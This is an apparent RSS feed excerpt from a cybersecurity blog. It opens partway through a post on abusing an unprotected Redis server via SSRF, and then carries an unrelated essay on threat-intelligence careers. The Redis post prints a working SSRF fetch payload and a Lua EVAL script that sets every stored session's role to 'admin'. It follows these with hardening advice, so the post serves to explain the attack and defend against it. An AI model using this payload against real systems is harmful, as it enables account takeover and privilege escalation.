&lt;p&gt;The attacker doesn’t send a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt;. They send a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; request. And they stick their evil Redis command right at the very beginning of the URL path.&lt;/p&gt;

&lt;p&gt;Redis gets the data stream and starts reading it like a piece of ticker tape.&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;The first thing it sees is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EVAL&lt;/code&gt;—a real Redis command for running scripts. It looks at its list and says, “Hey, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EVAL&lt;/code&gt; is a legit command. I’ll run it.”&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;And just like that, our malicious script executes. The damage is done.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Then&lt;/em&gt; Redis keeps reading. Way down the line, it finally stumbles upon the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Host:&lt;/code&gt; header. Now it gets confused. The bouncer wakes up and panics. He runs the security check.&lt;/li&gt;
  &lt;li&gt;The connection gets terminated. But it’s way too late. The thief is already gone.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The exploit works because our real command was processed before the security trap for the HTTP header was ever sprung. It’s a perfect abuse of the system’s own logic.&lt;/p&gt;

&lt;p&gt;So, what does a target look like? You might think your setup is safe. It might even look something like this in your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;redis.conf&lt;/code&gt; file:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bind 127.0.0.1
port 6379
protected-mode yes
maxmemory 1gb
maxmemory-policy allkeys-lru
appendonly no
save &quot;&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;See that? &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;protected-mode yes&lt;/code&gt;. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bind 127.0.0.1&lt;/code&gt;. Looks good, right? Locked down from the outside. But notice what’s missing? There’s no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requirepass&lt;/code&gt;. No password. This is the unlocked door the ghost walks through. The server trusts any connection coming from the &lt;em&gt;inside&lt;/em&gt;, and that’s exactly what the next step provides.&lt;/p&gt;

&lt;h3 id=&quot;the-heist-weaponizing-the-key-with-ssrf&quot;&gt;The Heist: Weaponizing the Key with SSRF&lt;/h3&gt;

&lt;p&gt;So you have this skeleton key. This beautiful little flaw. How does a bad guy actually use it? They find a weak spot on a website—a feature that fetches data from other URLs. This is a classic &lt;strong&gt;SSRF attack&lt;/strong&gt; (Server-Side Request Forgery).&lt;/p&gt;

&lt;p&gt;They aren’t hacking Redis directly. They’re tricking the web application into doing the dirty work. The server is duped into attacking itself from the inside.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/Redis-Heist-a3cdf550.jpg&quot; alt=&quot;Redis Heist&quot; /&gt;&lt;/p&gt;

&lt;p&gt;They send a weaponized payload. A carefully crafted instruction for the server.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// This tells the website to attack its own Redis server.&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;http://target-app.com/api/vulnerable_endpoint&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;application/x-www-form-urlencoded&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;`url=http://127.0.0.1:6379/&amp;amp;eval+&quot;local+user_sessions+%3d+redis.call(&apos;keys&apos;,+&apos;session:*&apos;)%3b+for+_,+key+in+ipairs(user_sessions)+do+local+session_data+%3d+redis.call(&apos;get&apos;,+key)%3b+local+status,+obj+%3d+pcall(cjson.decode,+session_data)%3b+if+status+and+type(obj)+%3d%3d+&apos;table&apos;+and+obj[&apos;user_role&apos;]+~%3d+nil+then+obj[&apos;user_role&apos;]+%3d+&apos;admin&apos;%3b+redis.call(&apos;set&apos;,+key,+cjson.encode(obj))%3b+end+end%3b+return+&apos;OK&apos;&quot;+0+`&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;That &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;body&lt;/code&gt; looks like alphabet soup. But inside that mess is a beautiful little Lua script. It’s a &lt;strong&gt;privilege escalation&lt;/strong&gt; machine. Here’s what that script does when it runs on the Redis server:&lt;/p&gt;

&lt;div class=&quot;language-lua highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;-- This little program is a session hijacker.&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;-- First it asks Redis: &quot;hey show me all your user sessions&quot;.&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_sessions&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;redis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;keys&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;session:*&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;-- Then it walks through every single one.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ipairs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user_sessions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;session_data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;redis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;get&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;-- It decodes the session to see what&apos;s inside.&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;pcall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cjson&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;session_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    
    &lt;span class=&quot;c1&quot;&gt;-- Now for the magic. It looks for the user&apos;s role. And changes it.&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;status&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;table&apos;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;user_role&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;~=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;user_role&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;admin&apos;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- Hello, god mode.&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;-- It saves the new evil session right back into Redis.&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;redis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;set&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cjson&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;OK&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And that’s the heist. The script finds a regular user. It makes them an admin. The attacker now has a god-mode account on the website.&lt;/p&gt;

&lt;h3 id=&quot;fortifying-the-gates-how-you-fight-back&quot;&gt;Fortifying the Gates: How You Fight Back&lt;/h3&gt;

&lt;p&gt;Feeling paranoid? Good. Now let’s turn that paranoia into action. This isn’t just a list; this is your new defense plan. These are the &lt;strong&gt;Redis security best practices&lt;/strong&gt; that stop ghosts and brawlers alike.&lt;/p&gt;

&lt;h4 id=&quot;lock-down-the-network&quot;&gt;Lock Down the Network&lt;/h4&gt;
&lt;p&gt;This is your first, best, and most important defense. Don’t let anyone who isn’t invited get near the door.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Bind to Localhost:&lt;/strong&gt; Your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;redis.conf&lt;/code&gt; file should have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bind 127.0.0.1&lt;/code&gt;. This means Redis only listens to the machine it’s running on. Never, ever set it to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0.0.0.0&lt;/code&gt; unless you have an ironclad firewall.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Use Redis Protected Mode:&lt;/strong&gt; This is on by default for a reason. It’s a safety net that stops Redis from talking to anyone but localhost if you forget to set a password. Leave it on.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Firewall Everything:&lt;/strong&gt; Your application server is the &lt;em&gt;only&lt;/em&gt; thing that should be able to talk to your Redis port. Block everyone else. No exceptions.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;use-real-locks-and-keys&quot;&gt;Use Real Locks and Keys&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Set a Damn Good Password:&lt;/strong&gt; Use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requirepass&lt;/code&gt; directive in your config. Make it long. Make it random. This is the single setting that would have stopped the attack we just described.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Use the Redis Access Control List (ACL):&lt;/strong&gt; If you’re on Redis 6 or newer, this is mandatory. Don’t use one master key. Create different users with the minimum permissions they need to do their job. Your web app’s user probably doesn’t need to run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CONFIG&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DEBUG&lt;/code&gt;, does it?&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;dont-leave-loaded-guns-lying-around&quot;&gt;Don’t Leave Loaded Guns Lying Around&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Rename Dangerous Commands:&lt;/strong&gt; An attacker can’t use a command they can’t find. You can rename or even disable commands that can cause catastrophic damage.
    &lt;ul&gt;
      &lt;li&gt;In &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;redis.conf&lt;/code&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rename-command FLUSHALL &quot;ARE_YOU_SURE_FLUSHALL&quot;&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;To disable it entirely: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rename-command CONFIG &quot;&quot;&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;fix-the-root-problem-ssrf&quot;&gt;Fix the Root Problem: SSRF&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Validate Your Inputs:&lt;/strong&gt; The real entry point for the heist was the application itself. Treat every URL or piece of data from a user as hostile.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Use Allow-Lists, Not Block-Lists:&lt;/strong&gt; Don’t try to guess what a malicious URL looks like. Define an explicit, strict list of hosts your application is allowed to talk to. Deny everything else.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;conclusion-the-game-never-ends&quot;&gt;Conclusion: The Game Never Ends&lt;/h3&gt;

&lt;p&gt;It’s not a brute force attack. It’s a whisper. A timing trick. A perfect example of how the most dangerous attacks use the system’s own rules against it. And it’s a chilling reminder that security is never finished.&lt;/p&gt;

&lt;p&gt;You can’t just build a fortress and walk away. You have to watch the guards, check the locks, and understand that there’s always someone clever trying to find a new way in. They’re looking for the ghost in &lt;em&gt;your&lt;/em&gt; machine. Don’t let them find it.&lt;/p&gt;

&lt;h3 id=&quot;frequently-asked-questions-faq&quot;&gt;Frequently Asked Questions (FAQ)&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;What is the main risk of an exposed Redis instance?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In a word: everything. An attacker can steal all your data, hijack user accounts for &lt;strong&gt;privilege escalation&lt;/strong&gt;, and use your server to attack your internal network. It’s a foothold that can lead to total system compromise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How does Redis protected mode work?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It’s a simple safety catch. If you haven’t set a password and you haven’t explicitly told Redis which IPs to listen to, it defaults to only listening to the local machine. It’s designed to stop the most common and dangerous misconfiguration: accidentally exposing an unlocked database to the entire internet.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How can I check if my Redis server is vulnerable?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Don’t guess. Check. Use a tool like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap&lt;/code&gt; from an external machine to see if your Redis port (6379) is visible. Read your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;redis.conf&lt;/code&gt; file. Is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requirepass&lt;/code&gt; set to a strong password? Is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bind&lt;/code&gt; set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;127.0.0.1&lt;/code&gt;? Have you disabled or renamed dangerous commands? A quick &lt;strong&gt;Redis vulnerability scanner&lt;/strong&gt; can also help automate this check.&lt;/p&gt;

</description>
                <pubDate>Fri, 18 Jul 2025 07:01:35 +0000</pubDate>
                <link>https://blog.sarper.me/blog/redis-hack</link>
                <guid isPermaLink="true">https://blog.sarper.me/blog/redis-hack</guid>
                
                <category>Cybersecurity</category>
                
                <category>Redis</category>
                
                
            </item>
        
            <item>
                <title>The Myth of the &quot;Cybersecurity Hacker&quot; (and Other Misconceptions)</title>
                <description>&lt;p&gt;Let me paint you a picture. You’re at a networking event, and someone inevitably asks, “So, what do you do?” You reply, “I’m a Cyber Threat Intelligence Analyst.”&lt;/p&gt;

&lt;p&gt;The response is almost always the same: “Oh, so you hack things?”&lt;/p&gt;

&lt;p&gt;It’s a common misconception, and one that irritates me a lot more than I care to admit. Hacking, or better put, penetration testing is a great skillset to have; it just isn’t the heart of what I do.&lt;/p&gt;

&lt;h2 id=&quot;my-journey-from-hacking-to-hunting&quot;&gt;My Journey: From “Hacking” to Hunting&lt;/h2&gt;

&lt;p&gt;Like many, my path to cybersecurity was motivated by the excitement of not knowing what happened. I can still remember the exhilaration-since college-along with finding a successful exploit on a vulnerable web server. That was the sense, there was some magic, invisible door opened inside cyberspace. Of course, this initial curiosity laid the path for me, and brought along one of the more common misconceptions: “He’s a hacker.”&lt;/p&gt;

&lt;p&gt;Fast-forward a few years, and I found myself on a small incident response team, fighting day in and day out against determined adversaries to figure out how they had breached our systems and what their objectives were. This experience gave me incredible insight into the tactics, techniques, and procedures that real-world threat actors put to use.&lt;/p&gt;

&lt;p&gt;One particularly memorable incident involved a sophisticated phishing campaign targeting our CEO. The attackers had meticulously crafted a convincing email, complete with social engineering tactics and a realistic-looking attachment. Analyzing the email, the attachments, and the subsequent activity within our network helped me understand the adversary’s motivations and the potential impact of such attacks.&lt;/p&gt;

&lt;p&gt;It completely flipped my focus on its head. I knew that “why” was as important as “how,” so I moved to a Cyber Threat Intelligence position, whereby I could bring in all of my technical background into analyzing global threat landscapes and emerging threats for actionable intelligence to our security teams.&lt;/p&gt;

&lt;h2 id=&quot;what-cti-really-is-and-isnt&quot;&gt;What CTI Really Is (and Isn’t)&lt;/h2&gt;

&lt;h3 id=&quot;myth-1-cti-analysts-are-cybersecurity-oracles&quot;&gt;Myth 1: CTI Analysts are “Cybersecurity Oracles”&lt;/h3&gt;

&lt;p&gt;The general impression in most people’s mind about CTI analysts is the notion that they have some mystic ability to foresee any form of cyber threat. How wrong this is.&lt;/p&gt;

&lt;p&gt;I recall a meeting where our CEO, with urgency, asked me, “Have you heard anything about this new vulnerability that’s being exploited in the wild?”&lt;/p&gt;

&lt;p&gt;The vulnerability in question was publicly disclosed that morning. While I am informed about the latest vulnerabilities through various channels, it was rather unrealistic to expect me to be the first to know every single one.&lt;/p&gt;

&lt;p&gt;CTI is about analyzing available data, whether it be threat feeds, open-source intelligence, internal security logs, and determining patterns and trends that can pose a significant risk to our organization. It is about connecting the dots and not predicting the future.&lt;/p&gt;

&lt;h3 id=&quot;myth-2-cti-is-just-repackaging-news&quot;&gt;Myth 2: CTI is Just “Repackaging” News&lt;/h3&gt;

&lt;p&gt;Some perceive CTI as an exercise in summarizing recent cybersecurity news articles and issuing them to other parts of the organization. True CTI is a great deal more than this, beyond merely keeping one’s ears open to what is taking place around one.&lt;/p&gt;

&lt;p&gt;Envision an e-mail titled “New Ransomware Strain Found” or “Phishing Attacks on Increase” coming in every morning. In their nature, this is not at all intelligence at all.&lt;/p&gt;

&lt;p&gt;True CTI provides context. Instead of reporting on a new family of ransomware, for example, we would reverse-engineer its TTPs to identify who it was targeting and what type of impact it could have on our organization. From there, we could make some very specific recommendations to our security teams about things like updating EDR signatures or placing greater controls on email.&lt;/p&gt;

&lt;h2 id=&quot;the-value-of-cti-a-real-world-scenario&quot;&gt;The Value of CTI: A Real-World Scenario&lt;/h2&gt;

&lt;p&gt;For illustration purposes, let’s say that our organization is currently developing a new cloud-based application that will deal with sensitive customer data; this will be a great use case for CTI to feed into.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Identification of the Potential Threat:&lt;/strong&gt; By researching threat actor activity against similar cloud environments, we can identify common attack vectors that include misconfigurations, vulnerability in third-party libraries, and social engineering of the developer population.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Security Controls Prioritization:&lt;/strong&gt; We could go further in recommending specific security controls, such as robust access controls, regular penetration testing, and a security awareness training program for developers.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Informing Risk Management Decisions:&lt;/strong&gt; Our insights can help inform risk management decisions, such as whether to proceed with the project as planned, implement additional security measures, or even reconsider certain design choices.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;the-challenges-and-rewards&quot;&gt;The Challenges and Rewards&lt;/h2&gt;

&lt;p&gt;One of the biggest challenges in CTI is actually articulating value for our work. These are not always easy impacts to reduce into dollars and cents. However, should our insights help prevent that big breach, or whether our analysis leads to some disruption of a malicious campaign, the reward is just huge.&lt;/p&gt;

&lt;h2 id=&quot;a-final-thought&quot;&gt;A Final Thought&lt;/h2&gt;

&lt;p&gt;The reality of CTI, however, is far from the “cybersecurity hacker” stereotype. It’s about understanding the adversary and trying to stay one step ahead of him or her, with a mission of equipping our organization to defend itself effectively. A bit demanding but rewarding too, this career field requires a mix of technical, analytical, and deep knowledge in the threat landscape.&lt;/p&gt;

&lt;p&gt;I am proud to be part of this community, and look forward with interest to the continuing developments that CTI will doubtless make against a tide of ever-rising cyber threats.&lt;/p&gt;
</description>
                <pubDate>Wed, 01 Jan 2025 12:01:35 +0000</pubDate>
                <link>https://blog.sarper.me/blog/the-myth-of-the-cybersecurity-hacker-and-other-misconceptions</link>
                <guid isPermaLink="true">https://blog.sarper.me/blog/the-myth-of-the-cybersecurity-hacker-and-other-misconceptions</guid>
                
                <category>Cybersecurity</category>
                
                <category>Threat Intelligence</category>
                
                
            </item>
        
    </channel>
</rss>